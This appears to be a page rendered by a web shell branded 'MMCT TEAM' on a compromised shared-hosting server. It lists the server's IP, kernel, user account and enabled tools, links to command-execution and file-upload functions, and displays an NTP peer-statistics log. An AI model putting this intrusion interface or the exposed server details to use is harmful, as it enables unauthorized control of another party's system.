MMCT TEAM
Server IP : 111.118.215.156  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux md-in-26.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : azasoqqa ( 1858)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/log/ntpstats/peerstats.20240331
60400 543.728 69.195.126.140 961a 0.000271335 0.251989343 0.018997356 0.001679656
60400 550.665 69.195.126.139 941a 0.001952425 0.248750808 0.015349305 0.000976086
60400 1570.752 69.195.126.140 961a -0.003003598 0.256400314 0.014976394 0.002491824
60400 2605.764 69.195.126.140 961a -0.003314525 0.256389669 0.014978336 0.002619503
60400 2638.691 69.195.126.139 941a 0.000646967 0.248076750 0.015210198 0.001900437
60400 3633.706 69.195.126.140 961a -0.003657595 0.256378332 0.014927012 0.002739288
60400 4717.695 69.195.126.140 961a -0.003992615 0.256372388 0.015318303 0.002827436
60400 4749.691 69.195.126.139 941a 0.000391393 0.248786739 0.015219753 0.001624255
60400 5812.689 69.195.126.139 961a 0.000260452 0.248756984 0.015305066 0.001427115
60400 6840.781 69.195.126.140 941a -0.003929614 0.256693437 0.019329396 0.003297643
60400 6859.669 69.195.126.139 961a -0.001331946 0.245521056 0.015229338 0.002517454
60400 7869.678 69.195.126.140 941a -0.001850727 0.251957863 0.015121393 0.003886306
60400 7937.666 69.195.126.139 961a -0.001162220 0.245453290 0.015422568 0.001956782
60400 10001.762 69.195.126.140 941a -0.002123260 0.251934805 0.015328983 0.003690364
60400 10013.669 69.195.126.139 961a -0.001286526 0.245492807 0.019064984 0.001375968
60400 11089.672 69.195.126.139 941a -0.001011172 0.245453960 0.015365901 0.000992205
60400 12105.759 69.195.126.140 941a -0.001509966 0.251948649 0.015326975 0.003949926
60400 13233.711 69.195.126.139 961a -0.000562479 0.245528389 0.015488535 0.000594791
60400 14175.751 69.195.126.140 941a -0.001016779 0.251952562 0.015104842 0.003966156
60400 14261.669 69.195.126.139 961a -0.000261112 0.245514710 0.015178514 0.000777270
60400 16257.747 69.195.126.140 961a -0.001778315 0.254111968 0.015124962 0.000388271
60400 16394.682 69.195.126.139 941a -0.000118073 0.245652376 0.019440060 0.001321913
60400 17344.764 69.195.126.140 961a -0.001299865 0.254074526 0.015438970 0.000475910
60400 17469.717 69.195.126.139 941a 0.000609354 0.245561941 0.015488262 0.001429202
60400 19447.766 69.195.126.140 961a -0.000426512 0.254114736 0.015244501 0.001013609
60400 19540.724 69.195.126.139 941a 0.001415997 0.245657218 0.015097427 0.001525304
60400 21562.750 69.195.126.140 941a -0.000802647 0.254785522 0.015284997 0.000608084
60400 21679.701 69.195.126.139 941a 0.001502281 0.245677382 0.019330236 0.001108671
60400 22730.739 69.195.126.139 941a 0.001405051 0.245683891 0.019224369 0.001014970
60400 23655.748 69.195.126.140 941a -0.000946543 0.254941562 0.018935802 0.000412984
60400 23782.756 69.195.126.139 961a 0.002465553 0.248367579 0.015254721 0.001121071
60400 24719.766 69.195.126.140 941a -0.000941625 0.254948834 0.019240787 0.000336547
60400 25778.671 69.195.126.140 941a -0.000608921 0.255420763 0.015291748 0.000232886
60400 25846.673 69.195.126.139 941a 0.001125236 0.245890764 0.014989925 0.001052460
60400 26830.735 69.195.126.140 961a -0.002423401 0.252353844 0.015260143 0.001746429
60400 26910.727 69.195.126.139 941a 0.000185232 0.245583650 0.015199503 0.001873061
60400 27904.694 69.195.126.140 941a -0.002277278 0.252326626 0.015407787 0.001441648
60400 29045.747 69.195.126.139 961a -0.000177863 0.245657659 0.019506605 0.002052309
60400 30014.707 69.195.126.140 961a -0.000812307 0.255370831 0.019299610 0.000848174
60400 30069.707 69.195.126.139 941a -0.000980517 0.245628186 0.015130646 0.002592101
60400 31100.739 69.195.126.140 961a -0.000601152 0.255375058 0.019601840 0.000951775
60400 32172.753 69.195.126.139 941a -0.001310103 0.245661837 0.019176836 0.001955570
60400 32175.669 69.195.126.140 961a -0.000231523 0.255380756 0.015548034 0.001177765
60400 33222.708 69.195.126.139 961a -0.001730839 0.245654983 0.015208399 0.001508644
60400 34260.739 69.195.126.140 961a 0.000090222 0.255394597 0.015174911 0.001401745
60400 35355.700 69.195.126.139 941a -0.000131259 0.248809083 0.019425778 0.001007988
60400 36368.760 69.195.126.140 961a 0.000382753 0.255341397 0.015235615 0.000753996
60400 36417.692 69.195.126.139 941a -0.001519206 0.245620082 0.015390994 0.000855611
60400 37495.675 69.195.126.139 961a -0.001197639 0.245617059 0.015503251 0.000666147
60400 38501.766 69.195.126.140 941a 0.000797375 0.255405382 0.015343369 0.000816845
60400 39618.675 69.195.126.139 961a 0.000032897 0.245628600 0.019437346 0.001269205
60400 40645.769 69.195.126.140 941a 0.002983673 0.258679846 0.015423217 0.002961729
60400 40697.705 69.195.126.139 941a 0.002517231 0.245678074 0.015527326 0.003142646
60400 41718.703 69.195.126.140 961a 0.001294588 0.255456086 0.015480793 0.001399873
60400 41735.662 69.195.126.139 941a 0.003536910 0.245573001 0.015270742 0.003629489
60400 42783.752 69.195.126.140 941a 0.002915025 0.251808879 0.015448938 0.002498626
60400 43826.708 69.195.126.139 961a 0.003442239 0.245865505 0.015154439 0.003002075
60400 44931.706 69.195.126.140 941a 0.003017261 0.251916294 0.019641956 0.002366792
60400 45940.728 69.195.126.139 961a 0.003132321 0.246503084 0.019386100 0.001388620
60400 45988.704 69.195.126.140 941a 0.000476458 0.256593912 0.019396778 0.001853065
60400 46971.754 69.195.126.139 961a 0.001761300 0.245591976 0.015129258 0.001367748
60400 47027.709 69.195.126.140 941a 0.000929878 0.255432104 0.015230760 0.001623065
60400 48005.671 69.195.126.139 961a 0.001254153 0.245564425 0.015045517 0.001829028
60400 48101.740 69.195.126.140 941a 0.000381329 0.255423556 0.015391478 0.001805753
60400 49125.684 69.195.126.140 961a -0.000074905 0.255377504 0.015099269 0.001881513
60400 50131.665 69.195.126.139 941a 0.000695089 0.245578180 0.015363908 0.002004862
60400 51208.767 69.195.126.140 961a -0.000446641 0.255405887 0.018935166 0.001687189
60400 51214.662 69.195.126.139 941a 0.000489167 0.245494492 0.015527617 0.001915743
60400 52234.713 69.195.126.140 961a -0.001100058 0.255420446 0.014948096 0.001596305
60400 53350.689 69.195.126.139 961a -0.000110558 0.245574635 0.015469023 0.001638516
60400 54395.668 69.195.126.140 941a -0.001860129 0.255459189 0.015469639 0.001688517
60400 55473.682 69.195.126.139 961a -0.000774401 0.245570437 0.015461523 0.001332649
60400 56478.766 69.195.126.140 941a -0.002236706 0.255461136 0.015133486 0.001312686
60400 57564.691 69.195.126.139 961a -0.000865341 0.245743924 0.019156991 0.001312004
60400 58594.763 69.195.126.140 961a -0.003419540 0.252361214 0.015272409 0.001825020
60400 58620.682 69.195.126.139 941a -0.000330361 0.245568243 0.015253885 0.001201265
60400 59671.691 69.195.126.139 961a 0.000119152 0.245566741 0.015232782 0.001397609
60400 60709.763 69.195.126.140 941a -0.002592994 0.252351264 0.015357583 0.001120615
60400 61784.669 69.195.126.139 961a 0.000482636 0.245607922 0.019140099 0.001659216
60400 62813.752 69.195.126.139 961a 0.001513445 0.245620173 0.015056993 0.002396248
60400 62842.693 69.195.126.140 941a -0.000139834 0.255476702 0.015367856 0.002644502
60400 63907.697 69.195.126.140 941a -0.001612389 0.252358634 0.015394320 0.001615347
60400 64893.658 69.195.126.139 941a 0.002111139 0.246211262 0.015094449 0.002500039
60400 64965.696 69.195.126.140 941a -0.001494259 0.252349454 0.015354466 0.001635653
60400 65945.683 69.195.126.139 961a 0.002240517 0.246131633 0.015162765 0.001550674
60400 66993.688 69.195.126.139 961a 0.002354903 0.246082646 0.015167275 0.001279680
60400 67063.731 69.195.126.140 941a -0.001282044 0.252364345 0.015194380 0.000740798
60400 69125.753 69.195.126.140 941a -0.001309713 0.252402288 0.014995746 0.000557933
60400 69166.698 69.195.126.139 941a 0.002508079 0.246196363 0.015598173 0.000720279
60400 70188.678 69.195.126.140 941a -0.001477257 0.252384961 0.015195140 0.000521755
60400 70217.686 69.195.126.139 961a 0.002378236 0.246102834 0.015405633 0.000445964
60400 72304.694 69.195.126.140 941a -0.001885774 0.252387951 0.015329866 0.001032180
60400 72350.702 69.195.126.139 941a 0.000426211 0.249813526 0.019345342 0.001773148
60400 73366.762 69.195.126.140 961a -0.002083371 0.252344601 0.015354641 0.001046701
60400 73435.726 69.195.126.139 941a 0.001972338 0.246214029 0.015551904 0.000926400
60400 75439.754 69.195.126.140 941a -0.002387724 0.252368781 0.015120377 0.001013801
60400 75508.725 69.195.126.139 941a 0.001631503 0.246189197 0.015084665 0.000897749
60400 76477.667 69.195.126.140 961a -0.002387562 0.252311903 0.015071039 0.000931344
60400 77613.697 69.195.126.139 961a 0.001668380 0.246194028 0.018937317 0.000786275
60400 78634.692 69.195.126.140 941a -0.002320428 0.252421673 0.019593609 0.000958928
60400 78683.704 69.195.126.139 961a 0.000698462 0.244952562 0.015294299 0.001020726
60400 79720.762 69.195.126.140 941a -0.002393577 0.252279970 0.015625229 0.000636630
60400 80777.670 69.195.126.139 941a 0.001186685 0.246186174 0.015226218 0.000632912
60400 81790.765 69.195.126.140 941a -0.002288301 0.252419072 0.018950651 0.000556019
60400 82837.700 69.195.126.140 941a -0.002130142 0.252424249 0.015127993 0.000527385
60400 82879.696 69.195.126.139 961a 0.000886407 0.246230077 0.015210575 0.000564623
60400 83902.719 69.195.126.140 961a -0.001985419 0.252277743 0.015274300 0.000524530
60400 83949.704 69.195.126.139 961a 0.000961602 0.246214271 0.015353543 0.000445857
60400 86023.758 69.195.126.140 941a -0.001899446 0.252379369 0.015256030 0.000770142
60400 86069.705 69.195.126.139 941a 0.001330223 0.246934644 0.019368578 0.000507251

MMCT - 2023